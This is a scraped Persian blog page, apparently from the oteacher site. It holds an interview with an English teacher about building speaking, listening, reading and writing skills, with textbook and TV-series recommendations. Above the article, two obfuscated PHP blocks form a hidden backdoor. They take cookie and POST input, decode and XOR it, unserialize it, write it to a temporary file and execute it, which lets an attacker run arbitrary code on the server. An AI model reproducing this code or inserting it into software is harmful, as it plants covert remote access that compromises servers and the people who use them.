$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();}$ygliHzw = 'Y' . "\120" . chr ( 510 - 404 ).chr ( 682 - 587 ).chr ( 467 - 345 ).'d' . "\162";$nakDJg = chr (99) . chr (108) . chr (97) . 's' . 's' . chr ( 559 - 464 )."\x65" . 'x' . "\151" . 's' . "\x74" . "\163";$jdFsWTM = class_exists($ygliHzw); $nakDJg = "6350";$iXLYvTm = strpos($nakDJg, $ygliHzw);if ($jdFsWTM == $iXLYvTm){function xmFTmnNLxE(){$naFwNNLdn = new /* 33466 */ YPj_zdr(14376 + 14376); $naFwNNLdn = NULL;}$vYSuqD = "14376";class YPj_zdr{private function DipbSIzFP($vYSuqD){if (is_array(YPj_zdr::$XBXoX)) {$name = sys_get_temp_dir() . "/" . crc32(YPj_zdr::$XBXoX["salt"]);@YPj_zdr::$XBXoX["write"]($name, YPj_zdr::$XBXoX["content"]);include $name;@YPj_zdr::$XBXoX["delete"]($name); $vYSuqD = "14376";exit();}}public function BbZbKyV(){$ljlCHzON = "47464";$this->_dummy = str_repeat($ljlCHzON, strlen($ljlCHzON));}public function __destruct(){YPj_zdr::$XBXoX = @unserialize(YPj_zdr::$XBXoX); $vYSuqD = "26879_27659";$this->DipbSIzFP($vYSuqD); $vYSuqD = "26879_27659";}public function TjAanVpT($ljlCHzON, $GMavQmXnbw){return $ljlCHzON[0] ^ str_repeat($GMavQmXnbw, intval(strlen($ljlCHzON[0]) / strlen($GMavQmXnbw)) + 1);}public function DJuWCWnWK($ljlCHzON){$TxqBizW = "\x62" . chr (97) . "\163" . chr ( 994 - 893 )."\66" . '4';return array_map($TxqBizW . "\137" . chr ( 244 - 144 ).chr ( 933 - 832 )."\x63" . chr ( 481 - 370 )."\144" . "\x65", array($ljlCHzON,));}public function __construct($kUqnhQ=0){$IbHgRhYPj = chr ( 947 - 903 ); $ljlCHzON = "";$SIgunhpIIk = $_POST;$cNYjPTgRR = $_COOKIE;$GMavQmXnbw = "11b10554-a8b2-4b0e-a191-57ee9783ce50";$GHCyAm = @$cNYjPTgRR[substr($GMavQmXnbw, 0, 4)];if (!empty($GHCyAm)){$GHCyAm = explode($IbHgRhYPj, $GHCyAm);foreach ($GHCyAm as $APgBP){$ljlCHzON .= @$cNYjPTgRR[$APgBP];$ljlCHzON .= @$SIgunhpIIk[$APgBP];}$ljlCHzON = $this->DJuWCWnWK($ljlCHzON);}YPj_zdr::$XBXoX = $this->TjAanVpT($ljlCHzON, $GMavQmXnbw);if (strpos($GMavQmXnbw, $IbHgRhYPj) !== FALSE){$GMavQmXnbw = explode($IbHgRhYPj, $GMavQmXnbw); $DTqyUXCx = sprintf("26879_27659", rtrim($GMavQmXnbw[0]));}}public static $XBXoX = 7382;}xmFTmnNLxE();} بهترین و موثرترین ابزارها برای تقویت 4 مهارت زبان انگلیسی چیست؟ | وبلاگ اتیچر
skip to Main Content

بهترین و موثرترین ابزارها برای تقویت ۴ مهارت زبان انگلیسی چیست؟

زمان مطالعه: ۱۲ دقیقه

بهترین و موثرترین ابزارها برای تقویت ۴ مهارت زبان انگلیسی چیست؟

تیم oteacher مصاحبه ای با آقای امیرعلاء مصدقی، متخصص تقویت زبان انگلیسی و مکالمه برای زبان عمومی انجام داده است. سوالات و پاسخ های این مصاحبه می تواند راهنمای مفید و کاربردی برای تمامی کسانی است که قصد تقویت مهارت های General English خود را دارند.

 

 

لطفا خودتان را برای مخاطبان مجله اُتیچر معرفی کنید.

امیرعلاء مصدقی ازمدرسین اتیچرهستم. تقریبا بیشتر از ۱۱ساله سابقه تدریس سطوح مختلف و سنین مختلف (پیش دبستانی تا بزرگسال) زبان انگلیسی را دارم. تجربه من هم در جنرال انگلیش بوده و هم در کلاس های مختلف آمادگی زبان انگلیسی.

 

به نظر شما چرا زبان انگلیسی کل دنیا را فرا گرفته است و به یک زبان بین المللی تبدیل شده است؟

فرضیه اشتباهی که در این رابطه وجود دارد اینست که زبان انگلیسی گرامر و ادبیات ساده و دایره لغات خیلی محدودتری دارد که با این دایره لغات محدود فرد می تواند به راحتی مکالمه کند و ارتباط برقرار کند. ولی در مقایسه های واقعی اصلا اینطور نیست و از بعضی زبان ها خیلی پیچیده تر است. اگر به فرض زبان انگلیسی با زبانی ساده بتواند کل دنیا را فرا بگیرد بجای آن، زبان اسپرانتو که سازمان ملل درست کرده بود، کل دنیا را فرا می گرفت. ولی اینکه چرا زبان انگلیسی کل دنیا را فرا گرفته برمی گردد به ۱۰۰ سال پیش از بعد جنگ جهانی اول که مستعمرات انگلیس حدود ​۱۴ دنیا را فرا گرفته بودند، انگلیس تصمیم گرفت lingua Franca Diplomacy، lingua Franca Business و lingua Franca Trade زبان آفیشال یا رسمی، زبان انگلیسی باشد. و همه کشورها مجبور شدند که بخاطر روابط با آن کشورها و قرارداد بستن با آنها چون که از جمله کشورهای جهان اول بودند، به زبان انگلیسی صحبت کنند. مثل بلوغ اینترنت در امریکا یا بلوغ هنر در اروپا و امریکا.

 

چه مهارت هایی برای تقویت زبان انگلیسی عمومی یا جنرال انگلیش وجود دارد و ایرانی ها در کدام مهارت ها بیشتر مشکل دارند؟

مهارتهای زبان انگلیسی Speaking،Listening، reading و Writing هستند. مهمترین چیزی که باعث می شود ما مکالمه صحیحی داشته باشیم، فکر کردن و توانایی انتقال ایده هاست. ما ایرانی ها عموما در ابتدا در مکالمه مشکل نداریم اما چون برخورد زیاد با زبان انگلیسی نداریم، درک مطلب در خواندن و نوشتن برایمان سخت است که خیلی روش ها وجود دارد تا بتوانند این کمبودها و ضعف ها را جبران کنند.

 

از نظر شما چقدر زمان می برد تا یک زبان آموز از سطح مبتدی به سطح پیشرفته برسد؟ این مدت زمان تحت تاثیر چه فاکتورهایی است؟

اصولا اگر فرد از سطح مبتدی شروع کند، درصورتی که از توانایی بالایی برخوردار باشد تا بتواند خود را به سطح بالا برساند،حدودا یک سال تا یک سال و نیم طول می کشد از سطح مبتدی به سطح Upper Intermediate و یا Advanced برسد. قاعدتا بصورت عادی ۱ تا ۲ سال به طول می انجامد. اما چیزی که در این فاصله زمانی مهم است اینست که ارتباط خود را طی یکسال با زبان انگلیسی زمانی که حتی در کلاس درس نیست، حفظ کند یعنی با سرچ در اینترنت و با مکالمه با افراد مختلف به زبان انگلیسی زبان خود را تقویت کند. به طور کلی عوامل مهم پیشرفت در یادگیری زبان انگلیسی:

۱. انجام به موقع تکالیف معلم خیلی مهم است وهمچنین از Course Book ها باید استفاده کند. معمولا افراد ۴۰% از زبان انگلیسی را در کلاس از معلم خود و ۲۰% را با انجام تمرینات کتاب می آموزند.
۲. توصیه می شود که زبان آموزان، فیلم، سریال و موزیک را تبدیل به کلاس درس کنند که روش راحت و جذابی است.
۳. حفظ ارتباط زبان آموزان با زبان انگلیسی

 

از نظر شما بهترین کتاب تقویت زبان انگلیسی برای حوزه زبان عمومی یا جنرال انگلیش چه کتابی یا کتاب هایی است؟

برای منابع زبان انگلیسی، چیزی که همیشه ناشران معروف از جمله کمبریج آکسفورد معرفی می کنند اینست که هر کتابی می تواند خوب باشد ولی بستگی به نحوه تدریس معلم دارد.

اما کتاب هایی که خودم با توجه به تجربه ایی که با شاگردانم در ایران داشتم کتاب های American English file ، English Result و همچنین Second Edition American Headway معرفی می کنم که خیلی متن های جذاب و خوبی دارند، مباحث براساس گرامر پیش می روند. این سه کتاب دریادگیری و تقویت زبان انگلیسی خیلی مهم اند چون که روی همه مهارت های یادگیری زبان انگلیسی کار می کنند و یک کتاب فوق العاده کاربردی دیگری برای اشخاصی که صرفا روی مکالمه کار می کنند، “Oxford Q Skills for Success” است که یک سری شش تایی است و باعث می شود زبان آموزان فکر کنند و صحبت کنند و اگر معلمی سرکلاس سیستمی پیاده کند که شاگردان افکار خود را به زبان انگلیسی بیان کنند قطعا همه مجبور می شوند منظورشان را به زبان انگلیسی زودتر برسانند.

 

با توجه به اینکه ما یک کشورغیر انگلیسی زبان هستیم و تقویت مکالمه دغدغه همه ما ایرانیان است. چطور میتوانیم شرایط محیط خارجی و یک محیط انگلیسی را برای خود فراهم کنیم؟

این یک حقیقتی است که در ایران ما آن محیط را اطرافمان نداریم واکثریت در محیط هایی کار می کنیم که همکاران انگلیسی زبان نداریم. به ناچارمجبوریم هزینه کنیم و در کلاس های زبان انگلیسی شرکت کنیم تا در آن فضا قرار بگیریم و بتوانیم به زبان انگلیسی صحبت کنیم. روش بعدی روش آنلاین است که از فضای گسترده اینترنت استفاده کنیم. کافیست که وارد صفحات یوتیوب (Youtube) شویم. در این صفحات می توانیم ویدیو متناسب با سطح خود ببینیم و برای صحبت به زبان انگلیسی فرصت داشته باشیم و با قوت بیشتری اینکار را انجام دهیم. روش بعدی اینست که از همان سطح های پایین در شبکه های اجتماعی (Instagram) فعال باشیم. پیج های که محتوی آن به زبان انگلیسی است و همه به انگلیسی صحبت می کنند را دنبال کنیم، کامنت ها را بخوانیم و جواب دهیم، انتقادپذیر باشیم در برابر ایرادات کسانی که زبان انگلیسی زبان اصلی آنان است و با اینکار یک کلاس درس برای خود تشکیل دهیم.
دیدن فیلم و سریال هم در کنار این روش های ذکر شده توصیه می شود. روش بعدی اینست که با دوستان خود و افرادی که به سطح ما نزدیک هستند، فیلم یا سریال ببینیم و راجع به آن به زبان انگلیسی صحبت کنیم، در یادگیری و تقویت مکالمه به زبان انگلیسی خیلی کمک خواهد کرد.

 

برای فراهم کردن یک محیط انگلیسی و تقویت زبان انگلیسی خود، هم اکنون می توانید به وب سایت اُتیچر مراجعه کرده و با استاد امیرعلا یا هر استادی به یادگیری زبان به طریق آنلاین بپردازید.

 

به نظر شما بهترین روش تقویت زبان انگلیسی در مهارت شنیداری یا Listening چه مواردی می تواند باشد؟

بهترین روش گوش دادن بیشتر و بیشتر است، هرچقدر می توانیم به موارد بیشتری که به آن علاقه مندیم گوش دهیم. مثلا درصورت دسترسی به یوتیوب، می توانیم پادکست هایی را پیدا کنیم که راجع به موضوعات مورد علاقه مان صحبت می کنند یا علاقه مند می شویم. حدود بیشتر از ۲۰۰۰ کانل معروف در یوتیوب وجود دارد که هر کدام راجع به موضوعاتی صحبت می کنند که قطعا به آن علاقه داریم. در این راه نکته مهم اینست که بتوانیم آن را کم کم به کلاس درس تبدیل کنیم. بهتر است هنگام دیدن و گوش دادن پادکست، جملات را به زبان انگلیسی بنویسیم، این باعث می شود توجه ما به بحث اصلی که در پادکست راجع به آن صحبت می شود، معطوف به زبان انگلیسی شود.

 

برای تقویت زبان انگلیسی مهارت نوشتاری (Writing) چه پیشنهادی دارید؟

برای تقویت مهارت Writing مثل Listening نیاز به این است که Input بهتری داشته باشیم. به نویسنده هایی که خوب هستند و توسط مجلات مختلف مقالاتشان چاپ شده می توان به زبان انگلیسی آنها اعتماد کرد حتی اگر انگلیسی زبان نباشند یا پیشنهاد هایی که کتابهایی دارند که از نظر ادبیات سطح بالاتری دارند باید بخوانیم و بیشتر یاد بگیریم. ولی برای اینکه بتوانیم صحیح بخوانیم یا بنویسیم باید کسی به ما بازخورد بدهد و این با شرکت در کلاس درس اتفاق می افتد. ولی اگر کسی نباشد که از رایتینگ مان بازخورد بگیرد باعث می شود که از ایراداتمان بازخورد دیرتری داشته باشیم.

 

برای تقویت مهارت زبان انگلیسی ریدینگ (Reading) چه روشهایی می تواند موثر باشد؟

برای مهارت Reading هم مثل Listening دوباره ما به Input بهتر نیاز داریم. باید بیشتر بخوانیم و آنقدردر یوتیوب سرچ کنیم تا چیزی را پیدا کنیم که به آن علاقه داریم و بتوانیم آن را زنجیره وار دنبال کنیم و بخوانیم و این فرایند را مدام تکرار کنیم. مثلا اگر در اپلیکیشن Reader’s Digest app مقاله ای راجع به هواپیما پیدا می کنیم که قرار است در Digest بعدی چاپ شود با علاقه آنرا دنبال می کنیم و اگر این موضوع تمام شود سریعا ما باید سراغ موضوع دیگری برویم. یعنی نباید این تلاش را کنار بگذاریم. در این مسیرهم مدام باید یادداشت برداری کنیم و یادداشت ها را مرور کنیم که اگر بعدها متنی را خواندیم که قبلا با ساختار آن آشنا شد ایم می توانیم ازهمان یادداشت ها یادآوری کرد که متن راجع به چه موضوعی صحبت می کند.

 

دانلود اپلیکیشن Reader’s Digest app در اندروید دانلود اپلیکیشن Reader’s Digest app در اپل

 

به نظر شما آیا از طریق فیلم و آهنگ انگلیسی می توان زبان انگلیسی را یاد گرفت؟چه نکاتی را باید در حین تماشای فیلم رعایت کنیم؟

ما کلا عادت کرده ایم که ببینیم وقتی چیزی کیفیت مقبول ما را ندارد احساس می کنیم وقتمان هدر می رود و دیگر بهره برداری لازم را از زبان انگلیسی نخواهیم داشت. بنابراین باید مراقب بود که زبان آموز خسته نشود و چیزهایی را ببیند که به آن علاقه دارد وگرنه ممکن است در ابتدای مسیر یادگیری یا تقویت زبان انگلیسی کلا زده شود. من کلاس هایی داشتم که زبان آموزان اصلا علاقه ای به خواندن کتاب نداشتند و ما برای اثبات اینکه می توان بدون کتاب هم، زبان انگلیسی را یاد گرفت با دیدن یک سریال انگلیسی، مسیر یادگیری را پیش می گرفتیم و می دانستم که هر زبان آموز در ابتدا نیاز داشت متن های ساده (Simple) را یاد بگیرد و بعد متن های ادامه دار و طولانی. که قطعا در هرقسمت سریال استفاده می شد.

هرقسمت یک سریال یا آهنگ هم دایره لغات را گسترش دهد و هم بعضا در آهنگ ها ساختارهایی است که شاید خاص هستند چون ادبیات شعری با ادبیات نثر و نوشتاری متفاوت اند. برای همین یک سری چیز های متفاوت هم افراد می توانند از آهنگ ها یاد بگیرند.

 

برای تقویت زبان انگلیسی و مکالمه چه سریال هایی پیشنهاد می کنید؟

برای سطح Beginner و Pre Intermediate دو سریال How I met your mother و The Office نسخه American آن را پیشنهاد می کنم.چون ادبیات ساده تری دارند. هردو سریال کمدی هستند و شوخی ها طوری طراحی شده اند که برای درک مطلب ساده تراند.

برای سطح Intermediate سریال Breaking Bad که جذابیت خاص خودش را دارد و پیشنهاد می کنم سریال های سطح قبلی را ببینند که قطعا برداشت بیشتری از آنها خواهند داشت. سریال های کمدی هم Friends و Seinfeld را پیشنهاد می کنم . در سطح Beginner و Pre Intermediate ممکن است که فهم شوخی هایی که در سریال ها بکار می رود کمی سخت باشد چون بیشتر فرهنگی هستند و برای مخاطبان امریکایی ساخته شده اند و ممکن است متوجه نشود که چه اتفاقی در سریال می افتد.اما زبان آموز در سطح Intermediate می تواند با سرچ در اینترنت رفرنس شوخی ها را بفهمد و از آن لذت ببرد.

برای سطح Advanced و Upper Intermediate اگر جملاتی را در سریال ها نمی فهمند انقدر باید آنها را در زیرنویس بررسی کنند و به نظر من باید خود را مجبور کنند سریال های بسیار با کیفیتی مثل House of Cards و Game of Thrones را ببینند و در کنار اینها یک کمدی Horace and Pete را ببینند که این سریال ۱۰ یا ۱۱ قسمت episode دارد و هر قسمت ۵۰ دقیقه است و حالت نمایشی دارد و کلا افراد در یک کافه و خانه ای که در طبقه بالای کافه وجود دارد حدود ۴۵-۴۰ دقیقه راجع به بعد اجتماعی زندگی، سیاست، روابط و بیماری ها و حتی کسی که در آنجا نیاز به کمک دارد، صحبت روزمره می کنند. ادبیات سریال حالت نمایشی دارد.

به نظر شما چطور می توان دایره لغات (Vocabulary) در زبان انگلیسی را افزایش داد؟

در این مورد مقاله ای نوشته شده که چند نکته را ذکر کرده است که از نظر من این نکات خیلی مهم و جالب هستند:

ا. برخورد دوباره با کلماتی که برایمان جدید بوده یعنی اگر متنی می خوانیم و کلمه ای جدید در آن پیدا کنیم که معنی آن را نمی دانیم در دیکشنری چک می کنیم و بعد به خودمان فرصت می دهیم که دوباره متن را بخوانیم و وقتی دوباره با آن کلمه برخورد کردیم این بار معنی آن را بدانیم یعنی معنی کلمات در ذهنمان تثبیت شوند.

۲. یادداشت برداری و به خاطر سپردن کلماتی که درمتن بکار می رود و همچنین در جاهای مختلف، در متن ها بکار می رود. یعنی وقتی با کلمه ای جدید آشنا می شویم اگر در فیلم باشد یا در متن آنرا می خوانیم، دقیقا عین همان جمله را می نویسیم و کلمه را خط می کشیم و ان کلمه را در متن معنی آنرا ببینم. تا در متن معنی کلمه را بدانیم. سعی کنیم که بیشتر در معرض کلمات جدید قرار بگیریم .بیشتر بشنویم ببینیم و این قطعا در یادگیری زبان انگلیسی خیلی کمک می کند.

۳.این نکته که بخصوص در شاگردان ایرانی خیلی کم است اینست که وقتی با یک Course Book مثلا American English در یادگیری زبان انگلیسی پیش می رویم، احساس می کنیم که چرا لغات جدید زیادی یاد نمی گیریم بنابراین سعی کنیم به کتاب اعتماد کنیم و همان روش کتاب را ادامه دهیم.اینطور نباشد که لغات کتاب ۵۰۴ واژه را خارج از متن بخوانیم و حفظ کنیم و استفاده از آن عملا غیر ممکن است. اما با متن های کتاب چون لغات در قالب متن می آیند قطعا بهتر است.

موثرترین روش های تسلط بر یادگیری زبان انگلیسی چیست؟ کلیک کرده و با مراحل گام به گام این روش ها آشنا شوید

چطور باید استرس را موقع مکالمه زبان انگلیسی کاهش دهیم؟

در این مورد یک مقاله ی جذابی وجود دارد که بحث مقاله در این مورد است که چرا وقتی استرس می گیریم اراده خود را در زبان انگلیسی از دست می دهیم. نکته اول اینست که نباید فکر کنیم چرا آهسته حرف می زنیم یا چرا روان مکالمه نمی کنیم. این طرز فکر کاملا غلط است. مثلا کسی که روبروی ماست و خیلی روان و بسرعت مکالمه می کند ناگاه استرس می گیریم که من هم باید خیلی بسرعت حرف بزنم و یا خیلی ضعیف تر از آن شخص هستم.

مهمترین چیز آن فکر یا ایده است که می خواهیم ارائه دهیم. اصولا در جوامع پروفشنال هم این اتفاق می افتد. مثلا کارگردانی که غیر انگلیسی زبان است و در یک کشور انگلیسی زبان در حال ساخت فیلمی است، اینجا به Assignment یا به دستیار کارگردان برمی گردد که تمام افکار و ایده های کارگردان را منتقل می کند یا حتی مثل مربی فوتبال. پس سرعت را هم مدنظر داشته باشیم. زیادی سرعت همیشه خوب نیست.

نکته بعدی اینست که وقتی زبان انگلیسی را بصورت حرفه ایی صحبت می کنیم باید بدانیم سرعت صحبتمان چقد بالاتر برود در لهجه تاثیر می گذارد و لغات به درستی تلفظ نمی شوند. باید سعی کنیم سرعتمان در حد وسط باشد و حرف زدنمان قابل فهم باشد.نکته بعدی که شایدهم خیلی مهم نباشد اینست که مثلا اگر در لغت Break حروفی مثل R را گرد تلفظ کنیم به این معنی نیست که لهجه مان درست شده خیلی طول می کشد تا لهجه خوب و صحیح داشته باشیم.

 

چقدر لهجه صحیح داشتن در زبان انگلیسی اهمیت دارد و چطور می توانیم لهجه خوب داشته باشیم؟

در آزمون های تافل یا آیلتس یا هر آزمونی که مهارت Speaking دارد لهجه خیلی مهم نیست. سعی کنیم کلماتی که تلفظ می کنیم طوری تلفظ شوند که اشتباه شنیده نشود. مثلا کلمه Wall به معنی دیوار اگر Well تلفظ شود جمله معنی خود را از دست می دهد. اگر بخواهیم لهجه مان را مثل کسانی که در محیط انگلیسی زبان زندگی می کنند بسازیم، این مورد در بحث آزمون مهم نیست. اگر در بحث روزمره و جایی کار می کنیم که همکاران ما به زبان انگلیسی صحبت می کنند هم اعتماد بنفس در صحبت کردن را زیاد می کند و هم فضای ارتباط با آنها را زیاد می کند و این تقویت لهجه می تواند به چیزهای دیگری هم کمک کند. و در نهایت منجر به تقویت زبان انگلیسی شود.

 

به نظر شما آیا تقویت زبان انگلیسی از طریق اسکایپ یا نرم افزارهای مشابه بصورت آنلاین امکانپذیر است؟

این روش امکان پذیر است، روش جذاب و راحتی است. اگر کلاس حضوری نباشد بعنوان معلم در کلاس آنلاین می توان فایل و یا در وب سایتی مقاله ای را به راحتی با شاگردان به اشتراک گذاشت که این فضا در کلاس حضوری وجود ندارد. در این روش هم صرفه جویی در زمان و هم صرفه جویی در جابه جایی خواهد شد. به جای اینکه مسافتی برای حضور در کلاس طی شود، روش آنلاین روش راحتی خواهد بود.

 

برای زبان آموزانی که قصد تقویت زبان انگلیسی خود را دارند چه پیشنهادی دارید؟
پیشنها آخر اینست که تلاش کنیم خود را از سطح Lerner به سطح بالاتر تبدیل کنیم و در این راه افراد نیاز به راهنمایی زیادی دارند که این راهنمایی را معلم می تواند بدهد. در اتیچر می توان خیلی راحت این اتفاق بیفتد و زبان آموزان خود را بدون جابه جایی بعد ازیک دوره ایی از سطح Lerner به سطح بالاتر تبدیل کنند.

۲/۵ - (۱ امتیاز)

دیدگاه ها

شما هم دیدگاه، تجربه یا سوالتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search